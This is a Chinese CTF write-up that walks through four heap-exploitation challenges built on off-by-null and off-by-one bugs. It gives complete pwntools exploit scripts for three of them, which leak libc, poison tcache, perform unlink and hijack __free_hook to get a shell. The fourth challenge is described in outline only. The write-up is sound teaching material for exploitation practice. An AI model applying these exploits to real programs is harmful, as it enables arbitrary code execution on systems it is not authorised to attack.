level 0
之前随便出的题
障碍
低版本libc,没有开启PIE,常见的四项功能都有,edit中存在off-by-null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| void get_str(char *ptr,int size){ int tmp=0; if(size<0){ return; }
for(int i=0;i<size;i++){ read(0,(ptr+i),1); tmp = i; if(*(ptr+i)=='\n'){ break; } } *(ptr+tmp+1)=0; return; }
|
之前信安大赛提供的赛题就是这个难度的洞,上面为源码。
思路
没有开启PIE其实就很简单,基本上各方面都没有太多限制,通过溢出overlap来控制指针,下面要么直接控制修改malloc_hook处,要么麻烦一点改bss段指针再任意地址写getshell,之前是直接修改为one_gadget后条件不满足,顺便就把PIE给关了,难度低一点友好点没啥坏处。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
#context.log_level = 'debug' sh = process('./tinynote') elf = ELF('./tinynote') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size,note): sh.sendlineafter('> ','1') sh.sendlineafter('Size: ',str(size)) sh.sendlineafter('Note: \n',note)
def show(idx): sh.sendlineafter('> ','2') sh.sendlineafter('index: ',str(idx))
def edit(idx,size,note): sh.sendlineafter('> ','3') sh.sendlineafter('index: ',str(idx)) sh.sendlineafter('size: ',str(size)) sh.sendlineafter('Note: \n',note)
def dele(idx): sh.sendlineafter('> ','4') sh.sendlineafter('index: ',str(idx))
#--------------over lapping--------------- add(0x90,'0') add(0x18,'1') add(0x18,'2') add(0x110,'3'*0xf0+p64(0x100)+p64(0x21)) add(0x18,'4') dele(0) edit(2,0x18,'2'*0x10+p64(0xe0)) dele(3) #gdb.attach(sh) #-------------leak libc--------------------- add(0x90,'0') show(1) leak = u64(sh.recv(8)) libc_base = leak-88-0x3c4b20 print hex(libc_base) one = libc_base +0x4526a#+libc.symbols['system'] #-------------------------------------- #edit(1,0x18,p64(leak)+p64(leak-88-0x33)) #add(0x60,'a'*0x13) add(0x18,'3') add(0x60,'5') dele(2) edit(5,8,p64(0x60203d)) add(0x60,'2') add(0x60,'\x00'*0x13+p64(0x90)+p64(1)+p64(libc.symbols['__free_hook']+libc_base))
edit(0,8,p64(one)) dele(2) sh.interactive()
|
level 1
西湖论剑的一道题目貌似
障碍
libc版本升级到2.27左右,存在tcache机制,许多操作开始需要绕过tcache机制来实现,但整体思路没有太大的变化。
同时这个题的溢出点从edit到了add,相对麻烦一点就是了。
思路
多分配一些chunk来将tcache填满,之后对剩下的chunk进行off-by-null实现overlap,好处就是tcache减少了对size的检查,后面更容易实现
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| #!/usr/bin/env python2
import sys from pwn import *
#context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c']
if len(sys.argv) > 1: local = 0 else: local = 1
if local: sh = process('xihu') elf = ELF('xihu') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('','') elf = ELF('xihu') #libc=ELF('')
def add(size,con): sh.sendlineafter('command:\n','1') sh.sendlineafter('size:\n',str(size)) sh.sendlineafter('content:\n',con)
def show(index): sh.sendlineafter('command:\n','3') sh.sendlineafter('enter index:\n',str(index))
def dele(index): sh.sendlineafter('command:\n','2') sh.sendlineafter('enter index:\n',str(index))
def edit(index,con): sh.sendlineafter('command:\n','4') sh.sendlineafter('enter index:\n',str(index)) sh.sendafter('content:\n',con)
for i in range(10): add(0xf7,str(i)*0x20)
for i in range(8): dele(i)
#----------------unsorted bin leak libc-------------------------------# #gdb.attach(sh) add(0xf8,'')#0 for i in range(1,7): add(0xf7,str(i)) #1-6
add(0xf7, '7') #7 edit(7, 'a' * 8) show(7) sh.recvuntil('a'*8) libc_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x3ebca0 print "libc: "+hex(libc_base) free_hook = libc_base + libc.sym['__free_hook'] one_gadget = libc_base + 0x4f322
#---------------tcache leak heap -------------------------------------# #gdb.attach(sh) edit(0,'0') show(0) heap_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x730 print hex(heap_base)
#------fake chunk unlink #---chunk extend cover fd ptr--------------#
chunk0_addr = heap_base + 0x850 fake_chunk = chunk0_addr + 0x10
pay = p64(0)+p64(0xf0)+p64(fake_chunk)+p64(fake_chunk)+'a'*0xd0+p64(0xf0)
edit(0,pay)
dele(8)
for i in range(1,7): dele(i)
dele(7)
for i in range(1,8): add(0xf7,str(i))
add(0xf7,'8') dele(2) dele(8) pay = p64(0)+p64(0x101)+p64(free_hook) edit(0,pay)
add(0,'') #gdb.attach(sh) add(0xf7,'') edit(8,p64(one_gadget))
dele(0)
#gdb.attach(sh) sh.interactive()
|
level 2
kctf 2019
障碍
2.27 libc,无PIE,但是会检查分配的地址是否在堆附近
1 2 3
| ptr_ = malloc(0x28uLL); if ( (signed __int64)ptr_ < flag_addr || flag_addr + 0x800 < (signed __int64)ptr_ )// 检查地址 exit(0);
|
修改时会检查标志位,有两次修改机会
思路
利用new时的off-by-one,创建fake_chunk来实现unlink突破地址限制,控制free_hook 来getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| #!/usr/bin/env python2 # -*- coding:utf-8 -*-
import sys from pwn import *
#context.log_level = 'debug' #context.terminal = ['gnome-terminal','-x','bash','-c']
if len(sys.argv) > 1: local = 0 else: local = 1
if local: sh = process('./pwn') elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: sh = remote('152.136.18.34','10001') elf = ELF('./pwn') libc = ELF('libc-2.27.so')
def new(index,con): sh.sendlineafter("show\n",'1') sh.sendlineafter('index:\n',str(index)) sh.sendafter('content:\n',con)
def dele(index): sh.sendlineafter("show\n",'2') sh.sendlineafter('index:\n',str(index))
def edit(index,con): sh.sendlineafter("show\n",'3') sh.sendlineafter('index:\n',str(index)) sh.sendlineafter("content:\n",con)
def show(index): sh.sendlineafter("show\n",'4') sh.sendlineafter('index:\n',str(index))
#----------------leak heap ---------------- sh.recv() sh.sendline('1') sh.sendlineafter('index:\n','0') sh.recvuntil('gift: ') heap_base = int('0x'+sh.recvline()[:-1],16)-0x10 print hex(heap_base) sh.sendlineafter('content:\n','0')
for i in range(1,8): new(i,str(i)+'\n')
for i in range(7,-1,-1): dele(i)
for i in range(8): new(i,str(i)*0x28+'\x91')
new(8,'8\n') new(9,'9\n')
for i in range(6,-1,-1): dele(i)
#-----------------unlink-------------------------
addr = 0x4040d8 for i in range(10,17): new(i,str(i))
dele(11) new(11,p64(0)+p64(0x50)+p64(addr-0x18)+p64(addr-0x10))
dele(12) new(12,'a'*0x20+p64(0x50)+'\x90') #gdb.attach(sh) dele(13) #gdb.attach(sh) #----------------leak libc----------------------- show_flag = 0x404188 edit(11,p64(0x4040c0)+p64(show_flag)+p64(elf.got['puts']))
#sh.interactive() edit(9,p32(1)+p32(3)) show(10) leak = u64(sh.recvline()[:-1].ljust(8,'\x00')) libc_base = leak - libc.symbols['puts'] print hex(libc_base) free_hook = libc_base+libc.symbols['__free_hook'] one = libc_base + libc.symbols['system']
edit(8,p64(0x4040c0)+p64(free_hook)) edit(9,p64(one)) #gdb.attach(sh) new(1,'/bin/sh\x00') dele(1) sh.interactive()
|
level 3
rctf 2019-babyheap
障碍
较低版本libc,开启PIE,但是禁用了fastbin,同时关闭了system execve的系统调用
这样基本上无法覆盖bss段的指针,即使想办法可以控制malloc_hook或free_hook指针,也无法直接系统调用getshell
思路
通过chunk overlap泄露libc地址,再次调用通过house of storm控制free_hook,
把free_hook地址设置为setcontext函数,从而控制程序流执行mprotect函数把__free_hook所在内存也修改为可执行,
然后读入我们新的shellcode,在跳到新的shellcode去执行getshell。
另一种思路,泄露堆地址与libc地址,写rop, shellcode到heap,largebin attack & unsortbin attack直接在libc上的free_hook分配chunk
将栈转移到heap上,执行rop,执行shellcode getshell。
这里的shellcode都是通过open read write来实现flag的读取。
exp
待补充
https://xz.aliyun.com/t/5216#toc-2